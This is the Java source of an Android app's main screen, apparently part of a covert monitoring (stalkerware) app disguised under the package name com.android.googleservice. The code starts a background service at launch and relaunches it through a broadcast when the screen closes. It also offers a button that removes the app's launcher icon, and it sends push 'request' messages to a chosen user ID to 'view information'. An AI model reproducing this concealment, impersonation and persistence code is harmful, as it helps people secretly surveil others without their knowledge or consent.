package com.android.googleservice;

import android.app.AlertDialog;
import android.content.ComponentName;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.TextView;

import com.android.googleservice.MessageContent.MessageType;
import com.quickblox.core.QBCallback;
import com.quickblox.core.result.Result;
import com.quickblox.internal.core.helper.StringifyArrayList;
import com.quickblox.module.messages.QBMessages;
import com.quickblox.module.messages.model.QBEnvironment;
import com.quickblox.module.messages.model.QBEvent;
import com.quickblox.module.messages.model.QBNotificationType;

public class MainActivity extends ActionBarActivity {

	private TextView tvEnter;
	private TextView tvView;
	private TextView tvHide;
	private ListView lvTest;
	private String toUser;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		stopService(new Intent(this, AppService.class));
		setContentView(R.layout.activity_main);
		findViews();
		init();
		setEvent();
	}

	private void setEvent() {
		tvEnter.setOnClickListener(new OnClickListener() {

			@Override
			public void onClick(View v) {
				showDialogID();
			}
		});

		tvHide.setOnClickListener(new OnClickListener() {

			@Override
			public void onClick(View v) {
				PackageManager p = getPackageManager();
				ComponentName componentName = new ComponentName(
						MainActivity.this, MainActivity.class);
				p.setComponentEnabledSetting(componentName,
						PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
						PackageManager.DONT_KILL_APP);
				finish();
			}
		});

		tvView.setOnClickListener(new OnClickListener() {

			@Override
			public void onClick(View v) {
				if (toUser == null) {
					return;
				}
				sendRequestMessage(Integer.parseInt(toUser));
			}
		});
	}

	protected void showDialogID() {
		AlertDialog.Builder alert = new AlertDialog.Builder(this);

		alert.setTitle("Type Code");
		alert.setMessage("Type Code to view information!");

		// Set an EditText view to get user input
		final EditText input = new EditText(this);
		if (toUser != null) {
			input.setText(toUser);
		}
		alert.setView(input);

		alert.setPositiveButton("Ok", new DialogInterface.OnClickListener() {
			public void onClick(DialogInterface dialog, int whichButton) {
				toUser = input.getText().toString();
				DataManager.getInstance(MainActivity.this).setCurrentContactID(
						toUser);
			}
		});

		alert.setNegativeButton("Cancel",
				new DialogInterface.OnClickListener() {
					public void onClick(DialogInterface dialog, int whichButton) {
						dialog.dismiss();
					}
				});

		alert.show();
	}

	private void init() {
		Intent service = new Intent(this, AppService.class);
		startService(service);
		toUser = DataManager.getInstance(this).getCurrentContactID();
	}

	private void findViews() {
		tvEnter = (TextView) findViewById(R.id.tv_enter);
		tvView = (TextView) findViewById(R.id.tv_view);
		tvHide = (TextView) findViewById(R.id.tv_hide);
		lvTest = (ListView) findViewById(R.id.lv_test);
	}

	@Override
	public boolean onCreateOptionsMenu(Menu menu) {
		// Inflate the menu; this adds items to the action bar if it is present.
		getMenuInflater().inflate(R.menu.main, menu);
		return true;
	}

	@Override
	public boolean onOptionsItemSelected(MenuItem item) {
		// Handle action bar item clicks here. The action bar will
		// automatically handle clicks on the Home/Up button, so long
		// as you specify a parent activity in AndroidManifest.xml.
		int id = item.getItemId();
		if (id == R.id.action_settings) {
			return true;
		}
		return super.onOptionsItemSelected(item);
	}

	public void sendRequestMessage(Integer toUser) {
		MessageContent messageContent = new MessageContent();
		messageContent.setMessageType(MessageType.REQUEST.ordinal());
		QBEvent qbEvent = new QBEvent();
		qbEvent.setNotificationType(QBNotificationType.PUSH);
		qbEvent.setEnvironment(QBEnvironment.DEVELOPMENT);

		// generic push - will be delivered to all platforms (Android, iOS, WP,
		// Blackberry..)
		qbEvent.setMessage(messageContent.toJson());

		StringifyArrayList<Integer> userIds = new StringifyArrayList<Integer>();
		userIds.add(toUser);
		qbEvent.setUserIds(userIds);

		QBMessages.createEvent(qbEvent, new QBCallback() {
			@Override
			public void onComplete(Result result) {
				// Log.d("google sevice", "sen request success");
			}

			@Override
			public void onComplete(Result result, Object o) {
			}
		});
	}

	@Override
	protected void onDestroy() {
		Intent intent = new Intent(MainActivity.this,
				ServiceAppBroadcastReceiver.class);
		sendBroadcast(intent);
		super.onDestroy();
	}
}
